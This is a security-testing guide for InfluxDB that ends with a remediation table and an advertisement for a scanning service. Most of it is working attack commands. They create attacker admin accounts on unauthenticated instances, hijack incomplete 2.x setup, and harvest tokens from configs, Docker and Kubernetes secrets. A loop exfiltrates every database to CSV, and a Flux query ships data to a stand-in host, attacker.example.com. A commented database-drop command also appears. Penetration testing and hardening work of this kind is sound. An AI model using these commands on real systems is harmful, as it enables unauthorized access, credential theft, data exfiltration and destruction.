InfluxDB Security Testing: Unauthenticated Query Access, API Token Exposure, and Flux Injection

InfluxDB is the most widely deployed time-series database, powering metrics pipelines for DevOps, IoT, and financial applications. Default installations — particularly InfluxDB 1.x — ship with authentication disabled and HTTP API exposed on port 8086. This guide covers unauthenticated query access, API token discovery, Flux query injection, Telegraf credential exposure, bucket enumeration, and the critical differences between securing InfluxDB 1.x versus 2.x.

Table of Contents

  1. Version Detection and Reconnaissance
  2. Unauthenticated HTTP API Access (1.x)
  3. InfluxDB 2.x Authentication Testing
  4. API Token Discovery and Exposure
  5. Flux Query Injection Testing
  6. Telegraf Configuration Credential Exposure
  7. Time-Series Data Exfiltration
  8. InfluxDB Enterprise and Clustering Attacks
  9. Remediation and Hardening

Version Detection and Reconnaissance

InfluxDB exposes version information through its HTTP API. The version determines which attack surface applies — InfluxDB 1.x has drastically different (and more dangerous) defaults than 2.x.

# Detect InfluxDB version and configuration
curl -s http://influxdb.example.com:8086/ping
# Returns: X-Influxdb-Version header

curl -s http://influxdb.example.com:8086/ping -v 2>&1 | grep -i "x-influxdb-version\|x-influxdb-build"

# InfluxDB 1.x status endpoint
curl -s http://influxdb.example.com:8086/query?q=SHOW+DIAGNOSTICS | python3 -m json.tool

# InfluxDB 2.x health endpoint
curl -s http://influxdb.example.com:8086/health | jq .

# Check if InfluxDB UI is exposed (2.x)
curl -s http://influxdb.example.com:8086/ -I | grep -i "content-type\|x-influxdb"

# Network scan for InfluxDB
nmap -p 8086,8088 --script http-headers,banner influxdb.example.com

# Shodan search for exposed instances
# "influxdb" port:8086 http.title:"InfluxDB"

Unauthenticated HTTP API Access (1.x)

InfluxDB 1.x ships with authentication disabled by default. The HTTP API at port 8086 allows anyone to query, write, and administer the database without credentials. This is one of the most common misconfigurations in monitoring stacks deployed in the 2015-2020 era.

Default State: InfluxDB 1.x has authentication disabled by default. Shodan searches have historically shown hundreds of thousands of exposed instances. Any InfluxDB 1.x instance on a public or semi-public network without authentication enabled should be assumed compromised.
# Test unauthenticated access to InfluxDB 1.x
INFLUX_HOST="http://influxdb.example.com:8086"

# List all databases (no auth required on default install)
curl -s "$INFLUX_HOST/query?q=SHOW+DATABASES" | python3 -m json.tool

# List measurements in a database
curl -s "$INFLUX_HOST/query?db=telegraf&q=SHOW+MEASUREMENTS" | python3 -m json.tool

# Query all data from a measurement
curl -s "$INFLUX_HOST/query?db=telegraf&q=SELECT+*+FROM+cpu+LIMIT+100" | python3 -m json.tool

# Show users (often reveals admin accounts)
curl -s "$INFLUX_HOST/query?q=SHOW+USERS" | python3 -m json.tool

# Show retention policies
curl -s "$INFLUX_HOST/query?q=SHOW+RETENTION+POLICIES+ON+telegraf" | python3 -m json.tool

# Write arbitrary data (data poisoning)
curl -s -X POST "$INFLUX_HOST/write?db=telegraf" \
  --data-binary "attacker_data,host=pwned value=1"

# Create admin user (privilege escalation on unauthenticated instance)
curl -s -X POST "$INFLUX_HOST/query" \
  --data-urlencode "q=CREATE USER admin WITH PASSWORD 'attacker_password' WITH ALL PRIVILEGES"

# Drop databases (destructive — only in authorized pentests)
# curl -s -X POST "$INFLUX_HOST/query" --data-urlencode "q=DROP DATABASE telegraf"

Systematic Database Enumeration

# Full data extraction from unauthenticated InfluxDB 1.x
INFLUX_HOST="http://influxdb.example.com:8086"

# Get all databases
DBS=$(curl -s "$INFLUX_HOST/query?q=SHOW+DATABASES" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); [print(v[0]) for v in d['results'][0]['series'][0]['values'] if v[0] not in ['_internal']]")

for db in $DBS; do
  echo "=== Database: $db ==="
  
  # Get measurements
  MEASUREMENTS=$(curl -s "$INFLUX_HOST/query?db=$db&q=SHOW+MEASUREMENTS" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); [print(v[0]) for v in d.get('results',[{}])[0].get('series',[{}])[0].get('values',[])]" 2>/dev/null)
  
  for m in $MEASUREMENTS; do
    echo "  Measurement: $m"
    # Get field keys (schema)
    curl -s "$INFLUX_HOST/query?db=$db&q=SHOW+FIELD+KEYS+FROM+%22$m%22" | \
      python3 -c "import sys,json; d=json.load(sys.stdin); [print('   ',v[0],v[1]) for s in d.get('results',[{}])[0].get('series',[]) for v in s.get('values',[])]" 2>/dev/null
  done
done

InfluxDB 2.x Authentication Testing

InfluxDB 2.x requires authentication by default and uses an operator token for initial setup. However, misconfigurations like default operator tokens, weak passwords set during setup, and overly permissive API tokens remain common findings.

# InfluxDB 2.x API endpoint testing
INFLUX2_HOST="http://influxdb.example.com:8086"

# Check if setup is complete (incomplete setup = no auth)
curl -s "$INFLUX2_HOST/api/v2/setup" | jq '{allowed: .allowed}'
# allowed: true means setup is NOT complete — instance is unprotected

# Test if initial setup can still be performed (create admin account)
curl -s -X POST "$INFLUX2_HOST/api/v2/setup" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "attacker_password123!",
    "org": "attacker-org",
    "bucket": "attacker-bucket",
    "retentionPeriodSeconds": 0
  }' | jq .

# Test unauthenticated API access (should fail on properly configured 2.x)
curl -s "$INFLUX2_HOST/api/v2/orgs" | jq .
curl -s "$INFLUX2_HOST/api/v2/buckets" | jq .

# Test with weak/default operator token
curl -s "$INFLUX2_HOST/api/v2/orgs" \
  -H "Authorization: Token mytoken" | jq .

# Check Chronograf (1.x UI) if deployed alongside
curl -s http://influxdb.example.com:8888/ -I | head -10

API Token Discovery and Exposure

InfluxDB 2.x API tokens grant access to specific buckets and organizations. These tokens are frequently hardcoded in application configurations, environment files, CI/CD pipelines, and Telegraf configuration files.

# Search for InfluxDB tokens in codebase and configs
# Token format for InfluxDB 2.x: [A-Za-z0-9_-]+==[A-Za-z0-9_-]+==
grep -rE '[A-Za-z0-9_-]{40,}==' /path/to/codebase --include="*.yml" --include="*.yaml" --include="*.conf" --include="*.env"

# Search in Telegraf configuration files
grep -rE 'token\s*=\s*"[^"]+"' /etc/telegraf/ 2>/dev/null
grep -rE 'Authorization:\s*Token\s+[A-Za-z0-9_=-]+' /etc/telegraf/ 2>/dev/null

# Search Docker environment variables
docker inspect $(docker ps -q) 2>/dev/null | grep -i "INFLUX\|influxdb" | grep -i "token\|password"

# Search Kubernetes secrets
kubectl get secrets -A -o json | python3 -c "
import sys,json,base64
d=json.load(sys.stdin)
for item in d['items']:
    for k,v in item.get('data',{}).items():
        if 'influx' in k.lower() or 'token' in k.lower():
            try:
                print(item['metadata']['name'], k, base64.b64decode(v).decode())
            except: pass
"

# Once a token is found, enumerate what it can access
INFLUX_TOKEN="found_token_here"
curl -s "$INFLUX2_HOST/api/v2/me" \
  -H "Authorization: Token $INFLUX_TOKEN" | jq .

curl -s "$INFLUX2_HOST/api/v2/orgs" \
  -H "Authorization: Token $INFLUX_TOKEN" | jq '.orgs[] | {id, name}'

curl -s "$INFLUX2_HOST/api/v2/buckets" \
  -H "Authorization: Token $INFLUX_TOKEN" | jq '.buckets[] | {id, name, orgID}'

Flux Query Injection Testing

Flux is InfluxDB 2.x's functional query language. If user input is interpolated directly into Flux queries in application code without sanitization, it can lead to Flux injection — exfiltrating data beyond the intended scope, bypassing bucket restrictions, or accessing unauthorized time ranges.

# Flux injection test patterns
# Vulnerable Flux template: from(bucket:"user_input") |> range(start: -1h)
# Injected: metrics") |> range(start: -10y) // exfiltrate all data

# Test basic Flux query injection via parameterized API
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
  -H "Authorization: Token $INFLUX_TOKEN" \
  -H "Content-Type: application/vnd.flux" \
  --data 'from(bucket: "telegraf")
    |> range(start: -1h)
    |> filter(fn: (r) => r._measurement == "cpu")
    |> limit(n: 5)'

# Test injection via HTTP API with user-controlled bucket parameter
# Application receives: ?bucket=telegraf&measurement=cpu
# Vulnerable code: query = f'from(bucket:"{bucket}") |> range(start:-1h)'
# Injection payload for bucket parameter:
# telegraf") |> range(start: -10y) // comment rest of query

# Test for SSRF via Flux experimental.to() function
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
  -H "Authorization: Token $INFLUX_TOKEN" \
  -H "Content-Type: application/vnd.flux" \
  --data 'import "experimental"
from(bucket: "telegraf")
  |> range(start: -1h)
  |> limit(n: 1)
  |> experimental.to(bucket: "exfil", org: "attacker-org", host: "http://attacker.example.com:8086", token: "attacker_token")'

# Enumerate all buckets accessible to a token via Flux
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
  -H "Authorization: Token $INFLUX_TOKEN" \
  -H "Content-Type: application/vnd.flux" \
  --data 'buckets()' | grep -o '"name":"[^"]*"'

Telegraf Configuration Credential Exposure

Telegraf is the data collection agent in the TICK stack. Telegraf configuration files contain InfluxDB connection strings with tokens or passwords, plus credentials for every monitored system — databases, cloud providers, APIs, and services.

# Common Telegraf config locations
TELEGRAF_CONFIGS=(
  "/etc/telegraf/telegraf.conf"
  "/etc/telegraf/telegraf.d/"
  "/opt/telegraf/telegraf.conf"
  "$HOME/.telegraf/telegraf.conf"
)

# Extract InfluxDB credentials from Telegraf config
grep -E '^\s*(token|password|username)\s*=' /etc/telegraf/telegraf.conf

# Find all output plugin credentials
grep -A5 '\[\[outputs\.' /etc/telegraf/telegraf.conf | grep -E "url|token|password|database"

# Telegraf HTTP input plugin — may expose sensitive data
grep -A10 '\[\[inputs.http\]\]' /etc/telegraf/telegraf.conf | grep -E "url|header|bearer"

# AWS CloudWatch input credentials in Telegraf
grep -A20 '\[\[inputs.cloudwatch\]\]' /etc/telegraf/telegraf.conf | grep -E "access_key|secret_key|role_arn"

# MySQL/PostgreSQL credentials collected by Telegraf
grep -A10 '\[\[inputs.mysql\]\]' /etc/telegraf/telegraf.conf | grep -E "servers|dsn"
grep -A10 '\[\[inputs.postgresql\]\]' /etc/telegraf/telegraf.conf | grep -E "address"

# Docker: check Telegraf container environment
docker exec telegraf env | grep -i "INFLUX\|TOKEN\|PASSWORD"

Time-Series Data Exfiltration

# Exfiltrate all data from an unauthenticated InfluxDB 1.x instance
INFLUX_HOST="http://influxdb.example.com:8086"
OUTPUT_DIR="/tmp/influxdb_exfil"
mkdir -p $OUTPUT_DIR

# Get all databases
DATABASES=$(curl -s "$INFLUX_HOST/query?q=SHOW+DATABASES" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print('\n'.join([v[0] for v in d['results'][0]['series'][0]['values'] if v[0] != '_internal']))")

for db in $DATABASES; do
  mkdir -p "$OUTPUT_DIR/$db"
  
  # Get measurements
  MEASUREMENTS=$(curl -s "$INFLUX_HOST/query?db=$db&q=SHOW+MEASUREMENTS" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); [print(v[0]) for s in d.get('results',[{}])[0].get('series',[]) for v in s.get('values',[])]" 2>/dev/null)
  
  for m in $MEASUREMENTS; do
    echo "Exfiltrating $db/$m..."
    # Export in CSV format — all data, no time limit
    curl -s "$INFLUX_HOST/query?db=$db&epoch=ns&q=SELECT+*+FROM+%22$m%22" \
      -H "Accept: application/csv" > "$OUTPUT_DIR/$db/$m.csv"
  done
done

# For InfluxDB 2.x with token
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
  -H "Authorization: Token $INFLUX_TOKEN" \
  -H "Accept: text/csv" \
  -H "Content-Type: application/vnd.flux" \
  --data "from(bucket: \"telegraf\") |> range(start: 2020-01-01T00:00:00Z)" \
  > telegraf_full_export.csv

InfluxDB Enterprise and Clustering Attacks

# InfluxDB Enterprise exposes additional ports for cluster communication
nmap -p 8086,8088,8089,8091 influxdb.example.com

# Meta node API (port 8091) — may expose cluster configuration
curl -s http://influxdb.example.com:8091/ping -I
curl -s http://influxdb.example.com:8091/metaservers | python3 -m json.tool
curl -s http://influxdb.example.com:8091/users | python3 -m json.tool

# Data node API (port 8088) — RPC endpoint for inter-node communication
curl -s http://influxdb.example.com:8088/ -I

# Check if Enterprise admin UI is exposed (port 3000)
curl -s http://influxdb.example.com:3000/ -I

# Chronograf (InfluxDB 1.x dashboard) — port 8888
curl -s http://influxdb.example.com:8888/ -I

# Chronograf unauthenticated access — often has no auth by default
curl -s "http://influxdb.example.com:8888/chronograf/v1/sources" | python3 -m json.tool
# Returns InfluxDB connection strings including credentials if stored in Chronograf

Remediation and Hardening

Finding Risk Remediation
InfluxDB 1.x auth disabled Critical Set auth-enabled = true in influxdb.conf; create admin user; restart service
HTTP API exposed on 0.0.0.0 High Bind to localhost or internal interface; use firewall rules to restrict port 8086
Operator token hardcoded in configs High Use environment variables; rotate tokens regularly; use scoped tokens per service
Telegraf config with credentials world-readable High chmod 600 /etc/telegraf/telegraf.conf; run Telegraf as dedicated user
Flux injection via user input High Never interpolate user input into Flux queries; use query parameters and allowlists
Meta node API exposed High Restrict meta node API (port 8091) to cluster nodes only via firewall
InfluxDB setup not completed Critical Complete initial setup immediately; the /api/v2/setup endpoint allows account takeover
No TLS on HTTP API Medium Enable HTTPS with valid TLS certificate; disable HTTP endpoint or redirect to HTTPS

InfluxDB Hardening Checklist

Automated Assessment: Ironimo automatically detects unauthenticated InfluxDB instances, tests API token validity, identifies exposed monitoring endpoints, and checks for Telegraf credential exposure patterns — all without manual scripting.

Scan Your InfluxDB and Monitoring Stack

Ironimo's Kali Linux-powered scanner automatically identifies unauthenticated InfluxDB instances, exposed API tokens, and misconfigured time-series database deployments in your infrastructure.

Start free scan